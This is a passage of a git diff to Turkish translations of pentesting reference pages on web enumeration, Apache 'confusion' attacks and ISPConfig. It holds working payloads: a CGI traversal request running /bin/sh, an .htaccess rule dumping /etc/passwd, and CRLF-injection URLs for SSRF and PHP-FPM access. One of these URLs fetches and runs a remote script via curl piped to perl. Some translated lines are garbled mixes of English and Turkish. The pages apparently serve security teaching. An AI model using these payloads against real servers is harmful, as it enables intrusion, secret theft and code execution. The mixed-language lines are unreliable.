[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: **AIza** ile başlayan bir API key (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) bulursanız, bu key'in hangi API'lere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. +- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link** bir **S3 bucket** ile ilişkili ise, bu durumda [**bucket izinlerini kontrol edin**](buckets/index.html). ### Special findings -**Spidering** ve **brute-forcing** gerçekleştirirken dikkat etmeniz gereken ilginç bulgularla karşılaşabilirsiniz. +**Spidering** ve **brute-forcing** yaparken **dikkat etmeniz gereken ilginç şeyler** çıkabilir. **Interesting files** -- CSS dosyaları içinde diğer dosyalara yapılan **link**leri arayın. -- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md) -- Eğer bir _**.env**_ dosyası bulursanız API key'ler, DB parolaları ve diğer bilgileri içerebilir. -- Eğer **API endpoints** bulursanız bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir ama dosya gibi görünebilirler. -- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araç listelendi. Ayrıca bulunan her JS dosyasını izlemek ilginç olabilir; bazı durumlarda bir değişiklik kodda yeni bir zafiyetin ortaya çıktığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir. -- Bulunan JS dosyalarını zafiyet için kontrol etmek üzere [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile tarayın. +- **CSS** dosyaları içinde diğer dosyalara ait **link**'ler arayın. +- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgileri çıkarabilirsiniz](git.md) +- Eğer bir _**.env**_ bulursanız api key'ler, db parolaları ve diğer bilgiler çıkabilir. +- **API endpoints** bulursanız, bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmasalar da büyük ihtimalle dosya gibi "görüneceklerdir". +- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araçtan bahsedildi. Ayrıca bulunan her JS dosyasını **izlemek** ilginç olabilir; bazı durumlarda bir değişiklik kodda potansiyel bir zafiyetin eklendiğini gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir. +- Keşfedilen JS dosyalarını ayrıca zafiyetler için kontrol etmelisiniz: [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole). - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Birçok durumda kullanılan regular expression'ları anlamanız gerekir. Bunun için faydalı kaynaklar: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) -- Form tespit edilen dosyaları da izleyebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkması potansiyel bir yeni zafiyeti gösterebilir. +- Çoğu durumda kullanılan regular expression'ları anlamanız gerekecektir. Bunun için faydalı siteler: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) +- Form tespit edilen dosyaları da izleyebilirsiniz; bir parametredeki değişiklik veya yeni bir formun ortaya çıkması potansiyel yeni bir zafiyeti gösterebilir. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,22 +314,21 @@ _Not: Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, **502 Proxy Error** -Eğer herhangi bir sayfa bu kodla cevap veriyorsa muhtemelen yanlış yapılandırılmış bir proxy söz konusudur. Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1` (host header ve diğer yaygın header'lar ile), proxy _google.com_'a erişmeye çalışacak ve böylece bir SSRF bulmuş olabilirsiniz. +Eğer herhangi bir sayfa bu **kod** ile yanıt veriyorsa, muhtemelen kötü yapılandırılmış bir proxy'dir. **Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host header ve diğer yaygın header'larla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir** SSRF** bulmuş olacaksınız. **NTLM Authentication - Info disclosure** -Eğer authentication isteyen sunucu **Windows** ise veya domain adı soran bir login görürseniz, bilgi sızması provokasyonu yapılabilir.\ -Şu header'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ında iç ağ bilgilerini (IIS sürümü, Windows sürümü...) döndürebilir.\ -Bunu otomatikleştirmek için nmap plugin'i "_http-ntlm-info.nse_" kullanılabilir. +Eğer authentication isteyen sunucu **Windows** ise veya oturum açma domain ismi isteyip credentials talep ediyorsa, bir **bilgi sızıntısı** provake edebilirsiniz.\ +Aşağıdaki **header**'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ı içinde iç ağ bilgileri (IIS versiyonu, Windows versiyonu...) ile cevap verecektir.\ +Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanılabilir. **HTTP Redirect (CTF)** -Bir Redirection içine içerik koymak mümkündür. Bu içerik kullanıcıya gösterilmeyecektir (tarayıcı yönlendirmeyi uygulayacağı için) ancak içeriğe gizli bilgi yerleştirilebilir. +Bir **Redirection** içine içerik koymak mümkündür. Bu içerik kullanıcıya **gösterilmeyecektir** (tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **bir şey gizlenmiş** olabilir. ### Web Vulnerabilities Checking -Web uygulamasının kapsamlı bir enumerate işlemi yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı gelmiştir. Kontrol listesi burada bulunabilir: - +Web uygulaması için kapsamlı bir enumeration yapıldıktan sonra birçok olası zafiyet için kontrol zamanı. Kontrol listesi burada: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md @@ -342,7 +342,7 @@ Web zafiyetleri hakkında daha fazla bilgi: ### Monitor Pages for changes -Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu sayede yapılacak değişiklikler yeni zafiyetler ekleyebilir. +Sayfa değişikliklerini izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu değişiklikler zafiyet eklenmesine yol açabilir. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 8d6ec984b..faaaaa0b9 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Çalıştırılabilir PHP uzantıları -Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Bunları aramak için şu komutu çalıştırabilirsiniz: +Apache sunucusunun hangi PHP uzantılarını çalıştırdığını kontrol edin. Bunları aramak için şu komutu çalıştırabilirsiniz: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Ayrıca, bu yapılandırmayı bulabileceğiniz bazı yerler şunlardır: +Ayrıca, bu yapılandırmayı bulabileceğiniz yerlerden bazıları şunlardır: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## LFI ile .htaccess ErrorDocument dosya sağlayıcısı (ap_expr) +## LFI via .htaccess ErrorDocument file provider (ap_expr) -Bir dizinin .htaccess'ini kontrol edebiliyorsanız ve AllowOverride o yol için FileInfo içeriyorsa, ErrorDocument içinde ap_expr file() fonksiyonunu kullanarak 404 yanıtlarını rastgele yerel dosya okumalarına dönüştürebilirsiniz. +Bir dizinin .htaccess dosyasını kontrol edebiliyor ve AllowOverride o yol için FileInfo içeriyorsa, ErrorDocument içinde ap_expr file() fonksiyonunu kullanarak 404 yanıtlarını rastgele yerel dosya okumalarına dönüştürebilirsiniz. - Gereksinimler: -- Apache 2.4'te expression parser (ap_expr) etkin olmalı (2.4'te varsayılan). -- vhost/dir, .htaccess'in ErrorDocument ayarlamasına izin vermeli (AllowOverride FileInfo). -- Apache worker kullanıcısının hedef dosyada okuma izni olmalı. +- Apache 2.4, expression parser (ap_expr) etkinleştirilmiş (varsayılan 2.4). +- vhost/dir .htaccess'in ErrorDocument ayarlamasına izin vermeli (AllowOverride FileInfo). +- Apache worker kullanıcısının hedef dosya üzerinde okuma izinleri olmalı. .htaccess payload: ```apache @@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Bu dizinin altındaki var olmayan herhangi bir yolu isteyerek tetikleyin, örneğin userdir-style hosting'i kötüye kullanırken: +Bu dizinin altındaki mevcut olmayan herhangi bir yolu isteyerek tetikleyin, örneğin userdir-style hosting'i kötüye kullanırken: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` -Notes and tips: -- Only absolute paths work. The content is returned as the response body for the 404 handler. -- Etkili okuma izinleri Apache kullanıcısının (tipik olarak www-data/apache) izinleridir. Varsayılan kurulumlarda /root/* veya /etc/shadow dosyalarını okuyamazsınız. -- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP: +Notlar ve ipuçları: +- Sadece mutlak yollar çalışır. İçerik 404 handler için yanıt gövdesi olarak döndürülür. +- Etkili okuma izinleri Apache kullanıcısının (genellikle www-data/apache) izinleridir. Varsayılan kurulumlarda /root/* veya /etc/shadow okunamaz. +- .htaccess root sahibi olsa bile, üst dizin tenant sahibi ise ve yeniden adlandırmaya izin veriyorsa, orijinal .htaccess'i yeniden adlandırıp SFTP/FTP ile kendi yerine koyduğunuz dosyayı yükleyebilirsiniz: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Bunu, DocumentRoot veya vhost yapılandırma yolları altındaki uygulama kaynaklarını okuyup sırları (DB creds, API keys, vb.) toplamak için kullanın. +- Bunu, DocumentRoot veya vhost config yolları altındaki uygulama kaynak kodunu okuyup sırları (DB creds, API keys, vb.) elde etmek için kullanın. ## Confusion Attack -These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. +Bu tür saldırılar [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tarafından tanıtıldı ve belgelendi; aşağıda bir özet verilmiştir. "confusion" saldırısı temelde birlikte çalışan onlarca modülün Apache oluştururken tam olarak senkronize olmamasından yararlanır; bazı modüllerin beklenmedik verileri değiştirmesi daha sonraki bir modülde güvenlik açığına neden olabilir. ### Filename Confusion #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Ancak başka durumlarda bu bir dosya yolu olarak muamele görecek ve bu bir probleme yol açacaktır. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Ancak başka durumlarda bu bir dosya yolu olarak işlenir ve bu da sorun yaratabilir. - **Path Truncation** -It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: +Aşağıdaki kural örneğinde olduğu gibi `mod_rewrite`'ı kötüye kullanarak, beklenen yolun son kısmını basitçe bir `?` ekleyerek kaldırıp dosya sistemi içindeki diğer dosyalara erişmek mümkündür: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Mislead RewriteFlag Assignment** -Aşağıdaki rewrite kuralında, URL .php ile bittiği sürece php olarak işlenecek ve çalıştırılacaktır. Bu nedenle, path içine farklı bir dosya türü (ör. bir resim) yüklerken `?` karakterinden sonra .php ile biten bir URL göndermek mümkündür; bu dosyanın içinde kötü amaçlı php kodu bulunabilir: +Aşağıdaki rewrite rule'da, URL `.php` ile bittiği sürece php olarak kabul edilip çalıştırılacaktır. Bu nedenle, `?` karakterinden sonra `.php` ile biten bir URL gönderip path'e farklı türde (ör. bir image) içinde kötü amaçlı php kodu bulunan bir dosya yüklemek mümkündür: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Erişimin reddedilmesi gereken yapılandırmalarda bile, kullanıcının erişmemesi gereken dosyalara erişim mümkün olabilir: +Erişimin reddedilmesi gereken durumlarda bile, şu gibi yapılandırmalarla kullanıcının erişmemesi gereken dosyalara erişmek mümkün olabilir: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Bunun nedeni, varsayılan olarak PHP-FPM'in `.php` ile biten URL'leri (ör. `http://server/admin.php%3Fooo.php`) alması ve PHP-FPM'in `?` karakterinden sonrasını kaldırmasıdır; önceki URL, önceki kural bunu yasaklamış olsa bile `/admin.php`'in yüklenmesine izin verecektir. +Bunun nedeni, varsayılan olarak PHP-FPM'in `.php` ile biten URL'leri, ör. `http://server/admin.php%3Fooo.php`, alması ve PHP-FPM'in `?` karakterinden sonrasını kaldırmasıdır; bu nedenle önceki URL, önceki kural bunu yasaklamış olsa bile `/admin.php`'i yüklemeye izin verir. ### DocumentRoot Karışıklığı ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Apache hakkında eğlenceli bir bilgi: önceki rewrite hem documentRoot'tan hem de root'tan dosyaya erişmeye çalışır. Yani, `https://server/abouth.html` isteği dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` konumlarında arayacaktır. Bu temelde dosya sistemindeki dosyalara erişmek için suistimal edilebilir. +Apache hakkında ilginç bir bilgi: önceki rewrite hem documentRoot'tan hem de root'tan dosyaya erişmeye çalışır. Bu nedenle, `https://server/abouth.html` isteği dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` yollarında kontrol edecektir. Bu temel olarak dosya sistemi içindeki dosyalara erişmek için kötüye kullanılabilir. -#### **Sunucu Tarafı Kaynak Kodu Açığa Çıkarma** +#### **Server-Side Source Code Disclosure** -- **CGI Kaynak Kodunu Açığa Çıkarma** +- **Disclose CGI Source Code** -Sondaki %3F'yi eklemek, bir cgi modülünün kaynak kodunu leak etmek için yeterlidir: +Sona %3F eklemek, bir CGI modülünün source code'unu leak etmek için yeterlidir: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Disclose PHP Source Code** +- **PHP Kaynak Kodunu İfşa Etme** -Bir sunucunun farklı domain'leri varsa ve bunlardan biri static bir domain ise, bu dosya sisteminde gezinmek ve php kodunu leak etmek için kötüye kullanılabilir: +Eğer bir sunucuda farklı alan adları varsa ve bunlardan biri statik bir alan adıysa, bu durum dosya sisteminde gezinmek ve php kodunu leak etmek için kötüye kullanılabilir: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Önceki saldırının asıl sorunu, varsayılan olarak dosya sistemi üzerindeki çoğu erişimin Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) içinde olduğu gibi reddedilmesidir: +Önceki saldırının temel sorunu, varsayılan olarak dosya sistemi üzerindeki çoğu erişimin Apache HTTP Server’ın [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) dosyasında olduğu gibi reddedilecek olmasıdır: ```xml AllowOverride None Require all denied ``` -Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share`'e izin verir: +Ancak [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share` dizinine izin verir: ```xml AllowOverride None Require all granted ``` -Bu nedenle, bu dağıtımlarda **`/usr/share` içinde bulunan dosyalar kötüye kullanılabilir.** +Therefore, it would be possible to **`/usr/share` inside bulunan dosyaları istismar etmek mümkün olacaktır.** -**Yerel Gadget ile Information Disclosure** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** ile **websocketd**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** betiğini açığa çıkarabilir; bu hassas ortam değişkenlerini leak edebilir. -- **Nginx** veya **Jetty** çalıştıran sunucular, **/usr/share** altında yer alan varsayılan web kökleri aracılığıyla hassas web uygulaması bilgilerini (ör. **web.xml**) expose edebilir: +- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. +- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Yerel Gadget ile XSS** +**Local Gadget to XSS** -- LibreOffice yüklü bir Ubuntu Desktop üzerinde, yardım dosyalarının dil değiştirme özelliğinin suistimali Cross-Site Scripting (XSS)'e yol açabilir. **/usr/share/libreoffice/help/help.html** içindeki URL manipülasyonu, unsafe **RewriteRule** nedeniyle zararlı sayfalara veya eski sürümlere yönlendirmeye sebep olabilir. +- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **güvensiz RewriteRule**. -**Yerel Gadget ile LFI** +**Local Gadget to LFI** -- PHP veya **JpGraph** ya da **jQuery-jFeed** gibi bazı front-end paketleri yüklüyse, bu paketlerin dosyaları kullanılarak **/etc/passwd** gibi hassas dosyalar okunabilir: +- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Yerel Gadget ile SSRF** +**Local Gadget to SSRF** -- **MagpieRSS**'in **magpie_debug.php**'si **/usr/share/php/magpierss/scripts/magpie_debug.php** konumunda bulunuyorsa, kolayca bir SSRF zafiyeti oluşturulabilir ve bu da daha ileri suistimallere kapı açar. +- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. -**Yerel Gadget ile RCE** +**Local Gadget to RCE** -- Remote Code Execution (RCE) için fırsatlar geniştir; güncel olmayan **PHPUnit** veya **phpLiteAdmin** gibi zafiyetli kurulumlar, rastgele kod yürütmek için exploit edilebilir ve yerel gadget manipülasyonunun geniş potansiyelini gösterir. +- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. #### **Jailbreak from Local Gadgets** -Ayrıca, izin verilen klasörlerdeki yüklü yazılımlar tarafından oluşturulan symlink'leri takip ederek jailbreak yapmak da mümkündür, örneğin: +It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,53 +186,53 @@ Ayrıca, izin verilen klasörlerdeki yüklü yazılımlar tarafından oluşturul - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Ek olarak, symlink'lerin suistimali ile **Redmine**'de **RCE** elde etmek mümkün olmuştur. +Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** ### Handler Confusion -Bu saldırı, hem PHP işlemesini etkinleştirmek için kullanılabilen `AddHandler` ve `AddType` direktifleri arasındaki işlevsel örtüşmeyi suistimal eder. Başlangıçta bu direktifler sunucunun iç yapısında farklı alanları etkiliyordu (sırasıyla `r->handler` ve `r->content_type`). Ancak eski kod nedeniyle Apache belirli koşullar altında bu direktifleri birbirinin yerine kullanır; eğer `r->content_type` ayarlıysa ve `r->handler` değilse, ilki `r->handler`'a çevrilir. +This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. -Dahası, Apache HTTP Server'da (`server/config.c#L420`), `ap_run_handler()` çalıştırılmadan önce `r->handler` boşsa, sunucu **handler** olarak `r->content_type`'ı kullanır; bu da `AddType` ve `AddHandler`'ı pratikte eşdeğer kılar. +Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. #### **Overwrite Handler to Disclose PHP Source Code** -[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) sunumunda, bir istemcinin gönderdiği yanlış bir `Content-Length` değeri nedeniyle Apache'in yanlışlıkla **PHP kaynak kodunu return etmesine** yol açan bir zafiyet gösterildi. Bu, ModSecurity ile Apache Portable Runtime (APR) arasındaki bir hata işleme sorunundan kaynaklanıyordu; çift yanıt durumunda `r->content_type` üzerine yazılarak `text/html` olacak şekilde değiştiriliyordu.\ -ModSecurity dönüş değerlerini düzgün işlemeyince, PHP kodunu return eder ve onu yorumlamaz. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ +Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. #### **Overwrite Handler to XXXX** -TODO: Orange henüz bu zafiyeti açıklamadı +TODO: Orange hasn't disclose this vulnerability yet ### **Invoke Arbitrary Handlers** -Eğer bir saldırgan bir sunucu yanıtında `Content-Type` başlığını kontrol edebilirse, keyfi modül handler'larını invoke edebilir. Ancak saldırgan bunun kontrolünü ele geçirdiğinde isteğin çoğu işlemi zaten gerçekleştirilmiş olur. Yine de, eğer `Location` başlığı suistimal edilirse istek sürecini yeniden başlatmak mümkündür; çünkü eğer döndürülen `Status` 200 ise ve `Location` başlığı `'/'` ile başlıyorsa, yanıt bir Server-Side Redirection olarak değerlendirilir ve yeniden işlenmelidir. +If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed -RFC 3875 (CGI hakkındaki spesifikasyon) [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) şu Local Redirect Response davranışını tanımlar: +According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Dolayısıyla, bu saldırıyı gerçekleştirmek için aşağıdaki zaafiyetlerden biri gereklidir: +Therefore, to perform this attack is needed one of the following vulns: - CRLF Injection in the CGI response headers - SSRF with complete control of the response headers #### **Arbitrary Handler to Information Disclosure** -Örneğin `/server-status` sadece yerel erişime açık olmalıdır: +For example `/server-status` should only be accessible locally: ```xml SetHandler server-status Require local ``` -Erişim, `Content-Type`'ı `server-status` olarak ayarlayıp Location header'ını `/` ile başlayan bir değere ayarlayarak mümkündür. +Erişim, `Content-Type`'ı `server-status` olarak ayarlayıp Location başlığını `/` ile başlayan bir değerle ayarlayarak mümkündür. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitrary Handler'dan Full SSRF'ye** +#### **Keyfi Handler'dan Tam SSRF'ye** Herhangi bir URL'deki herhangi bir protokole erişmek için `mod_proxy`'ye yönlendirme: ``` @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Ancak, `X-Forwarded-For` header eklendiği için bulut metadata uç noktalarına erişim engelleniyor. +Ancak, `X-Forwarded-For` başlığı ekleniyor ve bulut metadata uç noktalarına erişimi engelliyor. #### **Arbitrary Handler to Access Local Unix Domain Socket** -PHP-FPM’in local Unix Domain Socket'ine erişerek `/tmp/` içinde bulunan bir PHP backdoor'unu çalıştırın: +PHP-FPM’s local Unix Domain Socket'e erişerek `/tmp/`'de bulunan bir PHP backdoor'u çalıştırın: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -Resmi [PHP Docker](https://hub.docker.com/_/php) imajı PEAR (`Pearcmd.php`) içerir; bu, komut satırı bir PHP paket yönetim aracıdır ve RCE elde etmek için kötüye kullanılabilir: +Resmi [PHP Docker](https://hub.docker.com/_/php) image'ı PEAR (`Pearcmd.php`) içerir; bu, komut satırı PHP paket yönetim aracı olup RCE elde etmek için kötüye kullanılabilir: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,9 +265,9 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Bu tekniğin detayları için [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) (yazar: [Phith0n](https://x.com/phithon_xg)) adresine bakın. +Bu tekniğin detayları için, [Phith0n](https://x.com/phithon_xg) tarafından yazılan [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) sayfasına bakın. -## Kaynaklar +## Referanslar - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index c86498e25..7fe7b939d 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,36 +4,36 @@ ## Genel Bakış -ISPConfig, açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde hatalı bir çeviri kaydı aracılığıyla rastgele PHP kodu enjeksiyonuna izin veren bir dil dosyası düzenleyici özelliğini içeriyordu. Bu, web sunucusu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak ayrıcalık yükseltmesine neden olabilir. +ISPConfig açık kaynaklı bir hosting kontrol panelidir. Eski 3.2.x sürümleri, süper yönetici için etkinleştirildiğinde, bozuk bir çeviri kaydı aracılığıyla rastgele PHP kodu enjekte edilmesine izin veren bir dil dosyası editörü özelliği içeriyordu. Bu, web sunucu bağlamında RCE'ye yol açabilir ve PHP'nin nasıl çalıştırıldığına bağlı olarak yetki yükseltme sağlayabilir. Önemli varsayılan yollar: -- Web root 